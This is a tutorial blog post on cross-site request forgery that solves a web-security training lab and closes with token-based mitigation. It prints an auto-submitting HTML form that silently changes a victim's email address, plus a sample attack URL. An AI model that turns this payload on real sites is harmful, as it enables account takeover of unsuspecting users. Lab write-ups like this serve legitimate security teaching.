Cross-site request forgery (CSRF) Explained and Exploited I
Hi! This blog will teach you how CSRF attacks happen and how we can prevent them.
So the big question is …
Cross-site request forgery is a web security vulnerability that allows attackers to perform actions on behalf of the victim. An attacker can perform all the relevant actions on the vulnerable web on the behalf of the user.
Explanation:
Let’s take an example of a typical website that is vulnerable to cross-site request forgery and it allows a normal user to signup, update passwords, change email and delete the account, and other basic functionalities. And there is no other mechanism of validating the user performed action other than the session. An attacker can generate a URL to change a user’s email and trick the victim to click on the link and perform the action sometimes just visiting the malicious URL will automatically perform the action and changes the email which can lead to a full account takeover.
The URL could be the link of the exploit hosted on the server which includes the request form to complete the action or maybe the direct link of the app with the parameter to perform the action.
http://vulnerableweb.com/email/change-email?value=hacker@mail.comWhen the victim will visit the link the post request will be made and the user’s email will be changed to the attacker's one.
You may have a question about what it takes for a CSRF attack to be successful.
WELL!
- Relevant Action: A relevant action within the application that the attacker has a motive to induce. For example any changes to user’s data like updating emails and passwords.
- Cookie-based session handling: This means the application has no other means to validate the action other than the session cookie.
- No unpredictable changes in the requests: The requests that carry out the action do not include any parameters whose values the attacker cannot deduce or predict. For example, if an attacker has to know the value of the existing password in order to force a user to change their password, the function is not vulnerable.
CSRF EXPLOIT DEVELOPMENT:
This is the only process in the attack that can be tricky to get the hang of.
But if you have a Burpsuite professional then it shouldn’t be a problem because it contains the CSRF PoC generator that is totally life saver. But if you don’t have Brupsuite Professional then you can generate the POC using
Both tools are greater to generate a CSRF exploit.
So we can now try some labs to get the hang of it WDYS?
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
LAB 1: CSRF WITH NO DEFENSES IMPLEMENTED:
This lab’s email change functionality is vulnerable to CSRF.
To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.
You can log in to your own account using the following credentials: wiener:peter
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
That’s pretty straightforward we need to change the viewer’s email address and there are no defenses implemented.
Let’s Log in.
After we log in we can see an update email function so let's try that and intercept the HTTP traffic through Burp.
We can see only the session is passed to validate the action no other unpredictable values are present in this request.
Now copy this request and Generate the POC using the tools in mentioned above.
You should end up with something like this
<html>
<body>
<form method="POST" action="https://0ae700d403442cd8c0ca028400140041.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test4%40mail.com"/>
<input type="submit" value="Submit">
</form>
</body>
<html>But you need to make some changes to make it auto-submit.
<html>
<body>
<form method="POST" action="https://0ae700d403442cd8c0ca028400140041.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="ENTER EMAIL"/>
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit(); </script> </body>
<html>
This makes the form to be auto-submitted when the victim visits the link.
Now Store the exploit on the server.
And then deliver it to the victim.
When the victim will visit the link the lab will be solved.
In the next part, we will perform this attack with the defenses in place.
MITIGATING CSRF:
The most effective way to mitigate against CSRF attacks is to include tokens within relevant requests. The token should be:
- Unpredictable with high entropy, as for session tokens in general.
- Linked to the user’s session.
- Strictly validated in every case before the relevant action is executed.
There is a great blog on how to prevent CSRF attacks
In the next part, we will solve some advanced labs.
Till then
Happy Hacking ❤!
